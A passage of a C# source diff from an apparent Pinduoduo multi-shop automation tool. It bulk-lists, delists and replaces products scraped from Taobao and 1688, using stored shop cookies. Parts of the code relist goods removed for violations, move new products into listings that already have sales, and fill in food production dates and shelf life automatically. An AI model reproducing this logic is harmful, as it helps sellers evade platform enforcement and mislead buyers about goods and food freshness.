t.MainImage = int.Parse(ll[10]); + t.Price = decimal.Parse(ll[11]); + t.SaleCount = int.Parse(ll[12]); + if (ll.Length == 15) + t.ShopName = ll[13]; + if (ll.Length == 15) + t.AddPrice = int.Parse(ll[14]); + ProductStock.Add(t); + AddToDataBase(t); + //ProductTempStock.Add(t); + } + catch + { + } + } + try + { + FileBase.Delete(tempFile); + } + catch + { + + } + } + + /// + /// 下架无流量 + /// + public void GetOffSalesNoPV() + { + bool setOnLine = SetOnline; + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.isOnline = !setOnLine; + p.NoSold = NoSold; + p.NoVisit = NoVisit; + p.NoNeerReplace = NoNeerReplace; + p.NoNeerDays = NoNeerDays; + p.VisitCount = VisitCount; + p.OffOroduct = OffProduct; + p.OffProductCount = OffProductCount; + Threadx.ThreadListWait(ref ts, new Thread(p.GetOffSalesNoPV), ShopThreadCount); + } + Threadx.ThreadListWait(ref ts); + + } + + + /// + /// 删除商品 + /// + public void GetDelProduct() + { + bool setOnLine = SetOnline; + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.isOnline = !setOnLine; + p.OffOroduct = OffProduct; + p.OffProductCount = OffProductCount; + Threadx.ThreadListWait(ref ts, new Thread(p.GetDelProduct), ShopThreadCount); + } + Threadx.ThreadListWait(ref ts); + } + + + + public void GetAllOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + Threadx.ThreadListWait(ref ts, new Thread(p.GetAllOnline), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + + + public void GetDelKeyWordOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + p.delTitle = delTitle; + Threadx.ThreadListWait(ref ts, new Thread(p.GetDelTitleProduct), CustomThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + public void GetDelGoodOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + p.delTitle = delTitle; + Threadx.ThreadListWait(ref ts, new Thread(p.GetDelKeyWordOnline), CustomThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + public void GetDelKeyWordGoodOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectClearDown || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + p.delTitle = delTitle; + Threadx.ThreadListWait(ref ts, new Thread(p.GetDelKeyWordOnline), CustomThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + public void DelKeyGoodOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.GetDelKeyGood), CustomThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public void GetDelArrangeOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + //p.delTitle = delTitle; + Threadx.ThreadListWait(ref ts, new Thread(p.GetDelArrangeProduct), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + + public void GetAllOnlineIds(bool statusFlag) + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = statusFlag; + Threadx.ThreadListWait(ref ts, new Thread(p.GetAllOnlineIds), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + + public void GetAllLoopOnlineIds(bool statusFlag) + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = statusFlag; + Threadx.ThreadListWait(ref ts, new Thread(p.GetAllOnlineIds), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + + + public void GetAutoVisit() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetVisitProductNew(Name, shop); + p.ReplaceModel = true; + Threadx.ThreadListWait(ref ts, new Thread(p.GetOnOrOff), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + + + public void GetGroupVisit() + { + List ts = new List(); + var p = new GetVisitProductNew(Name, Shop); + p.ReplaceModel = true; + Threadx.ThreadListWait(ref ts, new Thread(p.GetOnOrOff), ShopThreadCount); + Thread.Sleep(100); + Threadx.ThreadListWait(ref ts); + } + public void GetGroupVisitIds() + { + List ts = new List(); + var p = new GetVisitProductNew(Name, Shop); + p.ReplaceModel = true; + p.isOnline = isOnline; + Threadx.ThreadListWait(ref ts, new Thread(p.GetOnOrOffIds), ShopThreadCount); + Thread.Sleep(100); + Threadx.ThreadListWait(ref ts); + } + + public void SetAutoOnGoodsStatus() + { + GetAllOnlineIds(false); + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + if (GetPun(shop.Cookies) != "无惩罚") + continue; + var p = new GetProductOnlineClass(Name, shop); + OnOrOffStatus onOrOffStatus = new OnOrOffStatus(); + onOrOffStatus.shopName = shop.ShopName; + onOrOffStatus.onStatus = "上架开始执行"; + onOrOffStatusList.Add(onOrOffStatus); + Threadx.ThreadListWait(ref ts, new Thread(p.UploadAutoOnMethod), 20); + } + Threadx.ThreadListWait(ref ts); + } + public void SetAutoOffGoodsStatus() + { + GetAllOnlineIds(true); + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + if (GetPun(shop.Cookies) != "无惩罚") + continue; + var p = new GetProductOnlineClass(Name, shop); + OnOrOffStatus onOrOffStatus = new OnOrOffStatus(); + onOrOffStatus.shopName = shop.ShopName; + onOrOffStatus.offStatus = "下架开始执行"; + onOrOffStatusList.Add(onOrOffStatus); + Threadx.ThreadListWait(ref ts, new Thread(p.UploadAutoOffMethod), 20); + } + } + + public void SetLoopOffGoodsStatus() + { + RunningLoop = true; + //GetAllLoopOnlineIds(true); + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count && RunningLoop; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + if (GetPun(shop.Cookies) != "无惩罚") + continue; + var p = new GetProductOnlineClass(Name, shop); + OnOrOffStatus onOrOffStatus = new OnOrOffStatus(); + onOrOffStatus.shopName = shop.ShopName; + onOrOffStatus.offStatus = "循环下架开始执行"; + onOrOffStatusList.Add(onOrOffStatus); + Threadx.ThreadListWait(ref ts, new Thread(p.UploadLoopOffMethod), GetShopLoginInfo.Shops.Count); + } + } + public void SetLoopOnGoodsStatus() + { + RunningLoop = true; + if (RunningLoop) + { + new Thread(GetProductOnlineClass.UploadLoopOnMethod).Start(); + } + } + + + public string GetPun(string cookies) + { + string url = "https://mms.pinduoduo.com/earth/api/mallPunishment"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"size\":\"5\" }"; + //第一页匹配结果 + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon()); + //惩罚店铺 + int level = BaseRegex.GetIntJson(ref html, "punishmentLevel"); + string punishment = string.Empty; + if (level == 1) + { + punishment = "一级惩罚"; + } + else if (level == 2) + { + punishment = "二级惩罚"; + } + else if (level == 3) + { + punishment = "三级惩罚"; + } + else + { + punishment = "无惩罚"; + } + return punishment; + } + + /// + /// 群控删除 + /// + public void GetDelGroupProduct() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + p.minPrice = MinPrice; + p.maxPrice = MaxPrice; + Threadx.ThreadListWait(ref ts, new Thread(p.GetDelGroupProduct), CustomThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + public void GetRestoreProduct() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + Threadx.ThreadListWait(ref ts, new Thread(p.GetRestoreProduct), CustomThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public void GetRestoreGoodProduct() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectClearDown || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + Threadx.ThreadListWait(ref ts, new Thread(p.GetRestoreProduct), CustomThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public void GetDelGroupOffProduct() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + p.minPrice = MinPrice; + p.maxPrice = MaxPrice; + Threadx.ThreadListWait(ref ts, new Thread(p.GetDelGroupOffProduct), CustomThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + } + + public class UploadShopControl + { + public string Name; + public ShopChatBase Shop; + public ShopChatBase OldShop; + public bool SetNewTitle = false; + public static long endAdvanceTime = 0; + public TaobaoProductBase product; + public List productList = new List(); + + public UploadShopControl(string name, ShopChatBase shop) + { + Name = name; + Shop = shop; + } + public UploadShopControl(string name, ShopChatBase shop, ShopChatBase oldShop) + { + Name = name; + Shop = shop; + OldShop = oldShop; + } + public UploadShopControl(string name, ShopChatBase shop, bool setNewTitle) + { + Name = name; + Shop = shop; + SetNewTitle = setNewTitle; + } + public void ClearTitle() + { + if (Shop.ExpressId == 0) + { + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + if (Shop.ExpressId == 0) + { + Thread.Sleep(10000); + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + } + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + if (Shop.ExpressId == 0) + { + LogSave.Add(Name, "运费模板未找到"); + Shop.Message = "请设置运费模板"; + UploadPinduoduoMain.ShopReplaceTemp.Add(Shop); + return; + } + } + for (int i = 0; i < Shop.OnlineProduct.Count; i++) + { + if (!SetNewTitle && (string.IsNullOrEmpty(Shop.OnlineProduct[i].Titlte) || !Shop.OnlineProduct[i].Titlte.Contains("✅"))) + continue; + + new BuildNewTitle(Shop, Shop.OnlineProduct[i].GoodsId, "", Name, SetNewTitle).Set(); + Thread.Sleep(200); + } + LogSave.Add(Name, "店铺执行完成:" + Shop.ShopName); + } + public void SetAdvanceSale() + { + if (Shop.ExpressId == 0) + { + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + if (Shop.ExpressId == 0) + { + Thread.Sleep(10000); + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + } + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + if (Shop.ExpressId == 0) + { + LogSave.Add(Name, "运费模板未找到"); + Shop.Message = "请设置运费模板"; + UploadPinduoduoMain.ShopReplaceTemp.Add(Shop); + return; + } + } + for (int i = 0; i < Shop.OnlineProduct.Count; i++) + { + BuildNewTitle.endAdvanceTime = endAdvanceTime; + if (Shop.OnlineProduct[i] == null || string.IsNullOrEmpty(Shop.OnlineProduct[i].Titlte) || Shop.OnlineProduct[i].Titlte.Contains("预售")) + continue; + new BuildNewTitle(Shop, Shop.OnlineProduct[i].GoodsId, "", Name, SetNewTitle).SetAdvanceSale(); + Thread.Sleep(200); + } + LogSave.Add(Name, "店铺执行完成:" + Shop.ShopName); + } + public void GetReplacePrice() + { + bool first = true; + Shop.CanUpload = true; + Shop.UpCount = 0; + DateTime begen = DateTime.Now; + List ts = new List(); + new Thread(new DeleteRejectProduct(Shop).Get).Start(); + UpPinduoduoProduct up = new UpPinduoduoProduct(Shop, Name); + up.IniProp(Shop.MainCatId, Shop.Cookies); + if (Shop.ExpressId == 0) + { + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + if (Shop.ExpressId == 0) + { + Thread.Sleep(10000); + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + } + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + if (Shop.ExpressId == 0) + { + LogSave.Add(Name, "运费模板未找到"); + Shop.Message = "请设置运费模板"; + UploadPinduoduoMain.ShopReplaceTemp.Add(Shop); + return; + } + } + string[] fl = FileBase.ReadAllLines("temp/upsame/" + Shop.Name + "edit.tjm"); + if (fl != null) + { + foreach (string s in fl) + { + if (string.IsNullOrEmpty(s) || !s.Contains(",")) + continue; + string[] li = s.Split(','); + long id = 0; + if (li.Length != 2 || !long.TryParse(li[0], out id)) + continue; + DateTime dt = DateTime.Parse(li[1]); + if (UpPinduoduoProduct.EditDayTemp.ContainsKey(id)) + UpPinduoduoProduct.EditDayTemp[id] = dt; + else + UpPinduoduoProduct.EditDayTemp.Add(id, dt); + if (UploadPinduoduoMain.NoNeerReplace && dt > DateTime.Now.AddDays(-UploadPinduoduoMain.NoNeerDays)) + { + var p = Shop.OnlineProduct.Find(t => t != null && t.GoodsId == id); + if (p == null) + continue; + Shop.OnlineProduct.Remove(p); + } + + } + } + + if (Shop.OnlineProduct.Count < 200) + { + LogSave.Add("商品数少于200的店铺不替换:" + Shop.ShopName); + Shop.Message = "商品数小于200不替换"; + UploadPinduoduoMain.ShopReplaceTemp.Add(Shop); + return; + } + + Shop.OnlineProduct.Sort((x, y) => x.GoodsId.CompareTo(y.GoodsId)); + int repalceCount = 0, maxCount = Int32.MaxValue; + if (UploadPinduoduoMain.LimitReplace) + maxCount = UploadPinduoduoMain.ReplaceCount; + + while (repalceCount < maxCount) + { + if (UploadPinduoduoMain.NoNeerReplace) + { + var list = UpPinduoduoProduct.EditDayTemp.ToList(); + for (int i = 0; i < list.Count; i++) + { + if (list[i].Value < DateTime.Now.AddDays(-UploadPinduoduoMain.NoNeerDays)) + continue; + var pp = Shop.OnlineProduct.Find(tt => tt != null && tt.GoodsId == list[i].Key); + if (pp != null) + { + Shop.OnlineProduct.Remove(pp); + LogSave.Add(Name, "商品最近替换过,跳过:" + list[i].Key); + Thread.Sleep(100); + } + } + } + + repalceCount++; + TaobaoProductBase t = null; + if (UploadPinduoduoMain.DesShop) + t = UploadPinduoduoMain.ProductStock.Find( + tb => + tb != null && !tb.Uped && tb.UseShopName != Shop.ShopName && tb.ShopName != "" && tb.ShopName == Shop.ShopName && + (tb.MainCatId == Shop.MainCatId || + "5,4,11,3,6,12,10".Contains(Shop.MainCatId.ToString()) && + "5,4,11,3,6,12,10".Contains(tb.MainCatId.ToString()))); + else + t = UploadPinduoduoMain.ProductStock.Find( + tb => + tb != null && !tb.Uped && tb.UseShopName != Shop.ShopName && + (tb.MainCatId == Shop.MainCatId || + "5,4,11,3,6,12,10".Contains(Shop.MainCatId.ToString()) && + "5,4,11,3,6,12,10".Contains(tb.MainCatId.ToString()))); + if (t == null) + { + LogSave.Add("无匹配数据,结束替换:" + Shop.ShopName); + Shop.Message = "无匹配数据,请增加备用数据"; + UploadPinduoduoMain.ShopReplaceTemp.Add(Shop); + return; + } + UploadPinduoduoMain.ProductStock.Remove(t); + if (Shop.UpFromIds.ContainsKey(t.FromId) && Shop.UpFromIds[t.FromId] > 3) + { + t.FindTimes++; + if (t.FindTimes < 20) + { + UploadPinduoduoMain.ProductStock.Add(t); + } + else + { + UploadPinduoduoMain.Delete(t.guid); + } + LogSave.Add(Name, Shop.Name + " 遇到裂变数据,跳过 " + t.FromId + " 等待数据中..."); + Thread.Sleep(1000); + continue; + } + if (!Shop.UpFromIds.ContainsKey(t.FromId)) + Shop.UpFromIds.Add(t.FromId, 1); + else + Shop.UpFromIds[t.FromId]++; + t.Uped = true; + t.UserTimes++; + t.UseShopName = Shop.ShopName; + UploadPinduoduoMain.Delete(t.guid); + //========================采集商品=========================== + ProductCollectBase pb = new ProductCollectBase(); + if (TaobaoMobileCollect.ProductTemp.ContainsKey(t.FromId)) + { + pb = TaobaoMobileCollect.ProductTemp[t.FromId].Clone(); + } + else + { + if (t.FromType == "拼多多") + { + PinduoduoProductCollect pp = new PinduoduoProductCollect(Name, t); + pp.Get(); + if (!TaobaoMobileCollect.ProductTemp.ContainsKey(t.FromId)) + { + LogSave.Add("未找到商品数据:" + t.FromId); + continue; + } + } + else if (t.FromType == "阿里巴巴") + { + pb.from_url = "https://detail.1688.com/offer/" + t.FromId + ".html"; + AlibabaProductGet ali = new AlibabaProductGet(pb); + ali.IsPinduoduo = true; + ali.Get(); + if (!ali.OnSale) + { + LogSave.Add(Name, "未找到商品数据:" + t.FromId); + continue; + } + } + else + { + pb.from_url = "https://item.taobao.com/item.htm?id=" + t.FromId; + pb.from_id = t.FromId; + TaobaoMobileCollect tm = new TaobaoMobileCollect(pb); + tm.Pinduoduo = true; + tm.Name = Name; + tm.Get(); + if (!tm.GetSuccess) + { + LogSave.Add(Name, "未找到商品数据:" + t.FromId); + continue; + } + } + if (TaobaoMobileCollect.ProductTemp.ContainsKey(t.FromId)) + pb = TaobaoMobileCollect.ProductTemp[t.FromId].Clone(); + else + { + LogSave.Add(Name, "未找到商品数据:" + t.FromId); + continue; + } + } + //======================采集商品信息结束======================= + decimal price = pb.price; + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + if (price < pb.SkuMaps[i].price) + price = pb.SkuMaps[i].price; + } + decimal newPrice = new UploadPinduoduoSet(Shop, null, null).WhitePriceBuild(price, UploadPinduoduoMain.MultiPrice, pb.express_price) / 100m; + var p = Shop.OnlineProduct.Find(pd => pd != null && pd.Price > newPrice * 0.4m && pd.Price < newPrice * 2.5m); + + if (p == null) + { + if (t.UserTimes < 2) + { + UploadPinduoduoMain.ProductStock.Add(t); + UploadPinduoduoMain.AddToDataBase(t); + LogSave.Add("未匹配到数据,再次进入队列:" + t.FromId); + continue; + } + UploadPinduoduoMain.ProductStock.Add(t); + UploadPinduoduoMain.AddToDataBase(t); + LogSave.Add("未匹配到数据,丢弃:" + t.FromId); + continue; + } + Shop.OnlineProduct.Remove(p); + if (UploadPinduoduoMain.NoNeerReplace && UpPinduoduoProduct.EditDayTemp.ContainsKey(p.GoodsId) && + DateTime.Now.AddDays(-UpPinduoduoProduct.NoReplaceDay) > UpPinduoduoProduct.EditDayTemp[p.GoodsId]) + { + Thread.Sleep(100); + t.Message = "最近更新不需替换"; + UploadPinduoduoMain.ProductReplaceTemp.Add(p); + continue; + } + if (UploadPinduoduoMain.Irregularities && IrregularitiesWordFun(t.Titlte)) + { + LogSave.Add(Name, Shop.Name + " 遇到品牌数据,跳过 " + t.FromId + " 该产品..."); + Thread.Sleep(1000); + continue; + } + + LogSave.Add("数据匹配成功,开始替换:" + t.FromId); + var u = new UploadPinduoduoSet(Shop, Name, t); + u.us = p; + + Threadx.ThreadListWait(ref ts, new Thread(u.Get), UploadPinduoduoMain.SingleThreadCount); + Thread.Sleep(5000 * UploadPinduoduoMain.SingleThreadCount); + if (first && UploadPinduoduoMain.SingleThreadCount > 1) + { + first = false; + Thread.Sleep(20 * 1000); + } + } + + Threadx.ThreadListWait(ref ts); + + + } + + + public void GetReplaceRes() + { + if (Shop.ResurVioSalesProduct.Count == 0) + { + LogSave.Add(Name, "店铺商品都是有销量的,没有可以替换的商品。"); + TaobaoProductBase productx = new TaobaoProductBase(); + productx.GoodsId = product.GoodsId; + productx.Message = "店铺商品都是有销量的,没有可以替换的商品。"; + UploadPinduoduoMain.ProductResurVioTemp.Add(productx); + return; + } + + int randx = new Random(Guid.NewGuid().GetHashCode()).Next(0, Shop.ResurVioSalesProduct.Count - 1); + var p = Shop.ResurVioSalesProduct[randx]; + GetResForm(product.GoodsId, p.GoodsId, true); + } + public void GetAddRes() + { + //if (Shop.ResurVioSalesProduct.Count == 0) + // return; + //int randx = new Random(Guid.NewGuid().GetHashCode()).Next(0, OldShop.ResurVioSalesProduct.Count - 1); + //var p = OldShop.ResurVioSalesProduct[randx]; + GetResForm(product.GoodsId, 0, false); + } + + + public void GetResForm(long pid, long oldpid, bool upFlag) + { + GetProductDetail ge = new GetProductDetail(upFlag == true ? Shop : OldShop, "复活违规"); + var r = ge.Get(pid); + if (r == null) + { + if (OldShop.APIMessage == "请先购买API再上传" || Shop.APIMessage == "请先购买API再上传") + { + LogSave.Add(Name, "店铺没有购买Api服务,获取违规商品详情失败。"); + TaobaoProductBase productx = new TaobaoProductBase(); + productx.GoodsId = pid; + productx.Message = "店铺没有购买Api服务,获取违规商品详情失败。"; + UploadPinduoduoMain.ProductResurVioTemp.Add(productx); + } + return; + } + string skuApiStringNew = "", skuString = ""; + int maxPriceNewx = 0, minPriceNewx = 1000000; + for (int i = 0; i < r.sku_list.Count; i++) + { + string spec = ""; + for (int j = 0; j < r.sku_list[i].spec.Count; j++) + spec += "," + r.sku_list[i].spec[j].spec_id; + if (!string.IsNullOrEmpty(spec)) + spec = spec.Substring(1); + + string specStr = ""; + for (int j = 0; j < r.sku_list[i].spec.Count; j++) + { + specStr += ",{\"parent_name\":\"" + r.sku_list[i].spec[j].parent_name + "\",\"parent_id\":" + + r.sku_list[i].spec[j].parent_id + ",\"spec_name\":\"" + r.sku_list[i].spec[j].spec_name + "\",\"spec_id\":" + + r.sku_list[i].spec[j].spec_id + "}"; + } + specStr = "[" + specStr.Substring(1) + "]"; + + + skuString = ",{\"is_onsale\":" + r.sku_list[i].is_onsale + ",\"limit_quantity\":" + r.sku_list[i].limit_quantity + + ",\"quantity_delta\":" + r.sku_list[i].limit_quantity + ",\"thumb_url\":\"\"," + + "\"multi_price\":" + r.sku_list[i].multi_price + ",\"price\":" + + r.sku_list[i].price + ",\"out_sku_sn\":\"" + r.sku_list[i].out_sku_sn + "\",\"id\":0,\"spec\":" + + specStr + ",\"weight\":1000}"; + + + skuApiStringNew += ",{\"is_onsale\":" + r.sku_list[i].is_onsale + ",\"limit_quantity\":" + r.sku_list[i].limit_quantity + + ",\"quantity_delta\":" + r.sku_list[i].limit_quantity + ",\"price\":\"" + r.sku_list[i].price + "\",\"weight\":1000,\"multi_price\":\"" + r.sku_list[i].multi_price + + "\",\"thumb_url\":\"" + r.sku_list[i].thumb_url + "\",\"out_sku_sn\":\"" + r.sku_list[i].out_sku_sn + "\",\"quantity\":1,\"spec_id_list\":\"[" + spec + "]\"}"; + if (maxPriceNewx < r.sku_list[i].multi_price) + maxPriceNewx = r.sku_list[i].multi_price; + if (minPriceNewx > r.sku_list[i].multi_price) + minPriceNewx = r.sku_list[i].multi_price; + } + string addContent = ",\"fabric\":" + r.fabricx + ",\"fabric_content\":" + r.fabric_contentx; + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop); + r.cat_id = PinduoduoCatList.GetNewCat3(r.cat_id); + if (r.market_price >= maxPriceNewx * 5.0) + r.market_price = 2 * maxPriceNewx; + if (upFlag) + api.Data.Add("goods_id", oldpid.ToString()); + api.Data.Add("goods_name", BaseClass.SubCharLength(r.goods_name.Replace("✅", "").Replace("◆", ""), 60)); + api.Data.Add("goods_type", "1"); + api.Data.Add("goods_desc", r.goods_desc); + api.Data.Add("cat_id", r.cat_id.ToString()); + api.Data.Add("tiny_name", ""); + api.Data.Add("country_id", "0"); + api.Data.Add("market_price", r.market_price.ToString()); + api.Data.Add("is_pre_sale", "false"); + api.Data.Add("shipment_limit_second", "172800"); + api.Data.Add("cost_template_id", upFlag == true ? r.cost_template_id.ToString() : Shop.ExpressId.ToString()); + api.Data.Add("customer_num", UploadPinduoduoMain.GroupCount.ToString());//团购人数 + if (!UploadPinduoduoMain.limitCount) + { + api.Data.Add("buy_limit", UploadPinduoduoMain.LimitBuy.ToString()); + api.Data.Add("order_limit", UploadPinduoduoMain.LimitBuy.ToString()); + } + api.Data.Add("is_refundable", "true"); + api.Data.Add("second_hand", "false"); + api.Data.Add("is_folt", "true"); + if (!string.IsNullOrEmpty(addContent)) + { + int fabric = BaseRegex.GetIntJson(ref addContent, "fabric"); + int fabric_content = BaseRegex.GetIntJson(ref addContent, "fabric_content"); + api.Data.Add("fabric", fabric.ToString()); + api.Data.Add("fabric_content", fabric_content.ToString()); + } + api.Data.Add("sku_list", "[" + skuApiStringNew.Substring(1) + "]"); + + api.Data.Add("out_goods_id", r.outer_goods_id); + api.Data.Add("hd_thumb_url", r.hd_thumb_url); + api.Data.Add("thumb_url", r.thumb_url); + api.Data.Add("image_url", r.image_url); + api.Data["goods_desc"] = r.goods_desc; + string goods_properties = ""; + for (int i = 0; i < r.goods_property_list.Count; i++) + { + var p = r.goods_property_list[i]; + goods_properties += ",{\"template_pid\":" + p.template_pid + ",\"vid\":" + p.vid + ",\"value\":\"" + p.vvalue + "\",\"value_unit\":\"" + p.punit + "\"}"; + } + if (!string.IsNullOrEmpty(goods_properties)) + api.Data.Add("goods_properties", "[" + goods_properties.Substring(1) + "]"); + api.FromWeiDian = true; + string imageString = ""; + + //构造carousel_gallery 轮播图 + string carousel_gallery = string.Empty; + if (r.carousel_gallery_list != null & r.carousel_gallery_list.Count > 0) + { + for (int i = 0; i < r.carousel_gallery_list.Count; i++) + { + carousel_gallery += ",\"" + r.carousel_gallery_list[i] + "\""; + imageString += ",{\"url\":\"" + r.carousel_gallery_list[i] + "\",\"width\":640,\"height\":640,\"type\":\"1\"}"; + } + } + if (!string.IsNullOrEmpty(carousel_gallery)) + carousel_gallery = carousel_gallery.Substring(1); + api.Data.Add("carousel_gallery", "[" + carousel_gallery + "]"); + + //构造detail_gallery商品详情图片 + string detail_gallery = ""; + for (int j = 0; j < r.detail_gallery_list.Count; j++) + { + if (r.detail_gallery_list.Count > 5 && j == 0 || r.detail_gallery_list.Count > 8 && j == r.detail_gallery_list.Count - 1)//不要第一张图和最后一张 + { + continue; + } + string urlImg = r.detail_gallery_list[j]; + if (!urlImg.StartsWith("http")) + urlImg = "http:" + urlImg; + string exe = Path.GetExtension(urlImg).ToLower(); + if (exe != ".jpeg" && exe != ".jpg" && exe != ".png") + continue; + + detail_gallery += ",\"" + urlImg + "\""; + imageString += ",{\"url\":\"" + urlImg + "\",\"width\":640,\"height\":640,\"type\":\"2\"}"; + } + if (!string.IsNullOrEmpty(detail_gallery)) + { + detail_gallery = detail_gallery.Substring(1); + } + api.Data.Add("detail_gallery", "[" + detail_gallery + "]"); + api.Data.Add("gallery", imageString.Substring(1)); + + if (",2,6586,6785,6883,6758,6536,6630,6398,".Contains("," + r.cat_id + ","))//食品 + { + api.Data.Add("shelf_life", "300"); + api.Data.Add("start_production_date", BaseClass.GetTime(DateTime.Now.AddDays(-5)).ToString()); + api.Data.Add("end_production_date", BaseClass.GetTime(DateTime.Now).ToString()); + } + + ProductResurBase resur = new ProductResurBase(); + resur.FromId = pid; + resur.FormShopName = OldShop == null ? Shop.ShopName : OldShop.ShopName; + resur.GoodId = oldpid == 0 ? pid : oldpid; + resur.ShopName = Shop.ShopName; + resur.Title = r.goods_name; + TaobaoProductBase product = new TaobaoProductBase(); + product.GoodsId = pid; + product.Message = "商品开始处理"; + string html = ""; + PinduoduoApiGetProduct apix = new 